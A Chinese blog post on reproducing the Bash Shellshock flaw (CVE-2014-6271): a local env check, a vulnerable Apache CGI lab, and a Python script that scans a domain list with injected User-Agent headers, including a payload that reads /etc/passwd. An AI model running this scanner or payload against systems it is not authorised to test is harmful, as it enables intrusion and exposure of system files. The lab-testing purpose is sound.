Bash Shellshock(CVE-2014-6271)破壳漏洞测试
0x01 漏洞原理
Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。
0x2 Bash破壳漏洞测试
2.1 本地测试语句:
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
输出:
vulnerable
this is a test
说明有漏洞,否则就没有。
2.2 漏洞复现:
2.2.1 安装配置:
- Centos6 Apache2.2 CGI
yum install httpd
service iptables stop
httpd.conf配置
1、576行设置/var/www/cgi-bin目录的脚本别名是cgi-bin,
ScriptAlias /cgi-bin/ "/var/www/cgi-bin/"
让这个目录下都支持cgi
2、582行修改Options
<Directory "/var/www/cgi-bin">
AllowOverride None
Options ExecCGI
Order allow,deny
Allow from all
</Directory>
3、796行添加访问后缀,当其被访问能被解析
AddHandler cgi-script .cgi .pl .sh
4、200行需要有cgi模块
LoadModule cgi_module modules/mod_cgi.so
POC.cgi放置到cgi-bin,具体内容如下:
#!/bin/bash
echo "Content-type: text/html"
echo ""
echo '<html>'
echo '<head>'
echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'
echo '<title>PoC</title>'
echo '</head>'
echo '<body>'
echo '<pre>'
/usr/bin/env
echo '</pre>'
echo '</body>'
echo '</html>'
2.2.1 Bash配置:
下载Bash之后,因为apache默认调用的是/bin/bash,没有漏洞。所以要通过软链接调用存在漏洞的Bash
$ wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
$ tar xf bash-4.1.tar.gz
$ cd bash-4.1
$ ./configure
$ make & make install
$ ln -s /usr/local/bin/bash /bin/bash
2.2 批量测试
# -*- coding:utf8 -*-
import urllib.parse
import urllib.request
import ssl
import re
import sys
from socket import timeout
import http.client #修改引用的模块
import os
domain_list = []
result = []
#读取文件函数
def read_file(file_path):
# 判断文件路径是否存在,如果不存在直接退出,否则读取文件内容
if not os.path.exists(file_path):
print('Please confirm correct filepath ! ')
sys.exit(0)
else:
with open(file_path, 'r') as source:
for line in source:
domain_list.append(line.rstrip('\r\n').rstrip('\n'))
def bash_exp(url):
hostname, urlpath = urllib.parse.urlsplit(url)[1:3]
try:
conn = http.client.HTTPConnection(hostname, timeout=20)
headers = {"User-Agent": '() { :;}; echo vulnerable /bin/bash -c "echo this is a test"'}
conn.request("GET", urlpath, headers=headers)
res = conn.getresponse()
if res and res.status == 500:
print("{host} : discover Vulnerable! ".format(host=hostname))
result.append(hostname)
else:
print("{host} :No Bash Vulnerable! ".format(host=hostname))
#except Exception, e:
except Exception as e:
print("{host} is {err}".format(host=hostname,err=e))
def cat_passwd(hostname, urlpath):
print("cat /etc/passwd :")
conn3 = http.client.HTTPConnection(hostname, timeout=20)
headers3 = {"User-Agent": "() { :;}; echo `/bin/cat /etc/passwd`"}
conn3.request("GET", urlpath, headers=headers3)
res3 = conn3.getresponse()
res = res3.getheaders()
for passwdstr in res:
print(passwdstr[0] + ':' + passwdstr[1])
if __name__ == '__main__':
read_file(os.getcwd()+"//attck.txt")
for domain in domain_list:
test_url = ("http://{domain}/cgi-mod/index.cgi").format(domain=domain)
bash_exp(test_url)
for ret in result:
with open("result.txt","a+") as file:
file.write(ret)
2.3 参考
https://www.linode.com/docs/web-servers/apache/run-php-cgi-apache-centos-6/
https://www.freebuf.com/news/48331.html
https://blog.csdn.net/yaofeino1/article/details/55211993
https://www.cyberciti.biz/faq/how-do-i-check-my-bash-version/
Bash Shellshock(CVE-2014-6271)破壳漏洞测试的更多相关文章
- CVE-2014-6271 Shellshock 破壳漏洞 复现
补坑. 什么是shellshock ShellShock是一个BashShell漏洞(据说不仅仅是Bash,其他shell也可能有这个漏洞). 一般情况来说,系统里面的Shell是有严格的权限控制的, ...
- Shellshock 破壳漏洞 Writeup
破壳漏洞 CVE编号:CVE-2014-6271 题目URL:http://www.whalwl.site:8029/ 提示:flag在服务器根目录 ShellShock (CVE-2014-6271 ...
- 破壳漏洞利用payload—shellshock in the wild
FireEye关于破壳漏洞(shellshock)在现实中的利用有一篇文章: shellshock in the wild 原文较长,进行了对CGI利用的详细分析,笔者比较感兴趣的是Shellshoc ...
- 对CVE-2014-6271 [破壳漏洞] 的一次不太深入的跟踪
@firtst:有些事,该你遇到的始终会遇到!2013年,Struts2远程代码执行漏洞闹的满城风雨时,当时还对此一无所知:2014年4月,HeartBleed掀起波涛汹涌时,较快对此予以关注,晚上跑 ...
- Bash ShellShock 解决办法
2014 年 9 月 24 日,Bash 惊爆严重安全漏洞,编号为 CVE-2014-6271,该漏洞将导致远程攻击者在受影响的系统上执行任意代码.GNU Bash 是一个为 GNU 计划编写的 Un ...
- SPF邮件伪造漏洞测试脚本
测试脚本: # -*- coding: utf-8 -*- import socket,select,base64,os,re,time,datetime class mail: def __init ...
- CSRF 漏洞测试
CSRF简介: CSRF中文名:跨站请求伪造,英文译为:Cross-site request forgery,CSRF攻击就是attacker(攻击者)利用victim(受害者)尚未失效的身份认证信息 ...
- kali上部署dvwa漏洞测试平台
kali上部署dvwa漏洞测试平台 一.获取dvwa安装包并解压 二.赋予dvwa文件夹相应权限 三.配置Mysql数据库 四.启动apache2和mysql服务 五.在网页配置dvwa 六.登陆到D ...
- MS14-064 漏洞测试入侵——20145301
MS14-064 漏洞测试入侵 Microsoft Windows OLE远程代码执行漏洞,OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术 执行摘要 此安全更新可解决 Microsof ...
随机推荐
- Linux下Mysql每天自动备份
新建目录 mkdir -p /data/mysqlbal/data mkdir -p /data/mysqlbal/scripts mkdir -p /data/mysqlbal/logs 创建备份脚 ...
- Selenium(六)对话框处理与登录测试
1.以百度为例,找到登录框,查看元素,可以看到这是一个div 操作登录框: 通过判断是否找到这个错误提示元素查看是否登录成功. 一个简单的登录脚本:
- vue-cli3 clone项目后如何安装插件及依赖模块启动项目
一. 前提条件1.确保使用的是Node 8.11.0+和NPM 3+:2.确保已全局安装vue-clie3:npm install -g @vue/cli: 二.安装依赖 1.在安装依赖之前,先安装官 ...
- dpkg: error processing package XXX (--configure) 解决方法 (ubuntu右上角红色警告)
在 Ubuntu 执行 sudo apt-get upgrade 时,出现了如下的报错: Setting up bluez (4.101-0ubuntu13.1) ... reload: Job is ...
- angularjs 动态计算平均值
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title> ...
- BER
BER全称Bit Error Ratio,比特出错概率,是衡量通信系统性能的最根本指标. 采用纠错编码,只要纠前BER小于某个门限值(BER容限点),纠错编码后就能实现纠后误码率为零的传输. 一般情况 ...
- LibreOJ #110. 乘法逆元
二次联通门 : LibreOJ #110. 乘法逆元 /* LibreOJ #110. 乘法逆元 求一个数在模意义下的所有逆元 */ #include <cstdio> void read ...
- qt5.6.1 +vs2015 自定义控件 不在designer显示
qt designer 不显示自定义插件, qt5.6.1下在bin下点击designer.exe 打开qdesigner 点击帮助- 关于插件. 显示: 在vs2015 窗口中点击qt vs too ...
- 安装包设计-------卸载(MFC)---------知识总结
1.删除目录及其下所有文件 bool MyDeleteFile(CString Path) { // SHFILEOPSTRUCT FileOp={0}; // FileOp.fFlags = FOF ...
- zabbix之自定义告警
zabbix支持内置的告警类型.email,sms,等 有时候需要自定义类型的. [其他微信,钉钉都差不多方式,只是脚本不一样] 自定义告警类型[自定义邮件] 编写自定义脚本,并测试成功. [脚本需要 ...